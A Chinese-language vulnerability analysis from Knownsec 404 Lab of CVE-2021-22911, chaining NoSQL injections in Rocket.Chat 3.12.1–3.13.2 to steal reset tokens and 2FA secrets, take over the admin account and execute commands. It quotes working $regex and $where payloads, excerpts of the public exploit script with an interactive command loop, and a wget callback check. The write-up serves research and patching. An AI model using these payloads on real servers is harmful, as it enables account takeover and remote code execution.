作者:0x4qE@知道創宇404實驗室
時間:2021年7月28日

0x01 簡述

Rocket.Chat 是一個開源的完全可定制的通信平臺,由 Javascript 開發,適用于具有高標準數據保護的組織。

2021年3月19日,該漏洞在 HackerOne 被提出,于2021年4月14日被官方修復。該漏洞主要是因為 Mongodb 的查詢語句是類 JSON 形式的,如{"_id":"1"}。由于對用戶的輸入沒有進行嚴格的檢查,攻擊者可以通過將查詢語句從原來的字符串變為惡意的對象,例如{"_id":{"$ne":1}}即可查詢 _id 值不等于 1 的數據。

影響版本

3.12.1<= Rocket.Chat <=3.13.2

漏洞影響面

通過ZoomEye網絡空間搜索引擎,搜索ZoomEye dork數據挖掘語法查看漏洞公網資產影響面。

zoomeye dork 關鍵詞:app:"Rocket.Chat"

輸入CVE編號:CVE-2021-22911也可以關聯出ZoomEye dork

漏洞影響面全球視角可視化

0x02 復現

復現環境為 Rocket.Chat 3.12.1

使用 pocsuite3 編寫 PoC,利用 verify 模式驗證。

0x03 漏洞分析

該漏洞包含了兩處不同的注入,漏洞細節可以在這篇文章中找到,同時還可以找到文章作者給出的 exp。第一處在server/methods/getPasswordPolicy.js,通過 NoSQL 注入來泄露重置密碼的 token。

getPasswordPolicy(params) {
        const user = Users.findOne({ 'services.password.reset.token': params.token });
        if (!user && !Meteor.userId()) {
            throw new Meteor.Error('error-invalid-user', 'Invalid user', {
                method: 'getPasswordPolicy',
            });
        }
        return passwordPolicy.getPasswordPolicy();
    }

這里的 params 是用戶傳入的參數,正常來說,params.token 是一串隨機字符串,但在這里可以傳一個包含正則表達式的查詢語句 {'$regex':'^A'},例如下面這個例子意為查找一處 token 是以大寫字母 A 為開頭的數據。通過這個漏洞就可以逐字符的爆破修改密碼所需的 token。

Users.findOne({ 
    'services.password.reset.token': {
        '$regex': '^A'
    } 
})

第二處漏洞在 app/api/server/v1/users.js,需要登陸后的用戶才能訪問,通過這處注入攻擊者可以獲得包括 admin 在內的所有用戶的信息。注入點代碼如下:

API.v1.addRoute('users.list', { authRequired: true }, {
    get() {
        // ...
        const { sort, fields, query } = this.parseJsonQuery();
        const users = Users.find(query, {/*...*/}).fetch();
        return API.v1.success({
            users,
            // ...
        });
    },
});

這處注入需要了解的知識點是,mongo 中的 $where 語句,根據文檔,查詢語句以這種形式展現 { $where: <string|JavaScript Code> },因此攻擊者可以注入 JavaScript 代碼,通過將搜索的結果以報錯的形式輸出。光說可能難以理解,通過一個例子就能很好地說明了。

攻擊者可以傳入這樣的 query:{"$where":"this.username==='admin' && (()=>{ throw this.secret })()"},就會構成下面這樣的查詢語句,意為查詢 username 為 admin 的用戶并將他的信息通過報錯輸出。

Users.find(
    {
        "$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"
    }, 
    {/*...*/}
).fetch();

通過這個漏洞,就可以獲得 admin 的修改密碼的 token 和 2FA 的密鑰,即可修改 admin 的密碼,達到了提權的目的。Rocket.Chat 還為管理員賬戶提供了創建 web hooks 的功能,這個功能用到了 Node.js 的 vm 模塊,而 vm 模塊可以通過簡單的原型鏈操作被逃逸,達到任意命令執行的效果。至此,我們了解到了這一個命令執行漏洞的所有細節,接下來就通過分析漏洞發現者提供的 exp 來講一下漏洞利用的過程。

0x04 漏洞利用

這部分內容基于漏洞發現者給出的 exp,并結合我在復現過程中遇到的問題提出改進意見。

# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)

## Getting reset token through blind nosql injection
token = resettoken(target)

## Changing Password
changingpassword(target,token)

首先通過 getPasswordPolicy() 處的 token 泄露漏洞,修改普通用戶的密碼。然而需要注意的是,修改密碼的 token 長度為 43 個字符,這個爆破的工作量是很大的,且耗時非常長。因此在獲取普通用戶權限這一步,可以直接通過注冊功能完成,而不需要爆破驗證的 token。試想若是攻擊目標關閉了注冊功能,那意味著我們無法獲取到已注冊用戶的信息,也就無計可施了。

# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)

第二步是獲取管理員賬號的 2FA 密鑰,其中的 twofactor() 利用了第二處漏洞。

def twofactor(url,email):
    # Authenticating
    # ...
    print(f"[+] Succesfully authenticated as {email}")

    # Getting 2fa code
    cookies = {'rc_uid': userid,'rc_token': token}
    headers={'X-User-Id': userid,'X-Auth-Token': token}
    payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
    r = requests.get(url+payload,cookies=cookies,headers=headers)
    code = r.text[46:98]

在這個函數中直接默認了管理員賬號的 username 為 "admin",但是經過測試,并不是所有可攻擊的目標都以 "admin" 作為 username,那么就需要一種方法來獲取管理員賬號的 username。觀察 mongodb 中存儲的用戶數據:

{
    "_id" : "x", 
    ...
    "services" : { 
        "password" : { 
            ...
        }, 
        ...,
        "emails" : [ { 
            "address" : "x@x.com", 
            "verified" : true
        } ], 
        "roles" : [ "admin" ], 
        "name" : "username",
        ...
}

每一個用戶字段中都有一條{"roles":[""]},通過{"$where":"this.roles.indexOf('admin')>=0"}來查詢管理員賬號的信息,隨后便可獲取管理員的 username。

第三步是修改管理員賬號的密碼,以獲得 admin 的權限。

## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)

## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivmail)

## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)

其中 forgotpassword() 這一步不可缺少,因為每次通過 reset token 來修改密碼以后,后臺會自動刪除該 token。在本地測試的時候,因為沒有 forgotpassword() 這一步,所以每次執行過 changingadminpassword() 以后,都會因為缺少 reset token 導致下一次 PoC 執行失敗。通過斷點調試找到了問題所在。

.meteor/local/build/programs/server/packages/accounts-password.js line 1016

resetPassword: function () {
    // ...
    try {
        // Update the user record by:
        // - Changing the password to the new one
        // - Forgetting about the reset token that was just used
        // - Verifying their email, since they got the password reset via email.
        const affectedRecords = Meteor.users.update({
            'services.password.reset.token': token
        }, {
            $unset: {
                'services.password.reset': 1,
            }
        });
    }
}

每一次執行 resetPassword() 以后,都會清空 token。同樣在這個文件中,可以找到用于生成 reset.token 的函數 generateResetToken()。在此文件中共有三次出現,其中一次是函數定義,兩次是調用,分別于第 898 行和第 938 行被 sendResetPasswordEmail() 和 sendEnrollmentEmail() 調用。

Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {
  const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);

sendResetPasswordEmail() 在申請重置密碼的時候被調用,sendEnrollmentEmail() 在用戶剛注冊的時候被調用。因此,想要獲得 reset.token 的值,就要先發起一個重置密碼的請求,讓后臺發送一封重置密碼的郵件。

最后一步就是執行任意命令了。

## Authenticating and triggering rce

while True:
    cmd = input("CMD:> ")
    code = oathtool.generate_otp(secret)
    rce(target,code,cmd)

由于命令執行沒有回顯,因此我的做法是在本地監聽一個端口起一個 HTTP 服務器,然后執行 wget HTTP服務器地址/${random_str},如果 HTTP 服務器收到了路由為 /${random_str}的請求,則證明該服務存在漏洞。

0x05 后記

這次復現經過了挺長的時間,主要是由于這個漏洞利用的條件比較苛刻,需要滿足各種限制條件,比如需要開放注冊功能、管理員賬號開啟了 2FA、被攻擊目標的版本滿足要求。不過通過耐心的分析,把復現過程中遇到的問題一一解決,我還是很高興的。

0x06 防護方案

1、更新 Rocket.Chat 至官方發布的最新版。

0x07 相關鏈接

1、Rocket.Chat

2、pocsuite3

3、NoSQL Injections in Rocket.Chat 3.12.1: How A Small Leak Grounds A Rocket

4、Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)

5、mongo 文檔


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1652/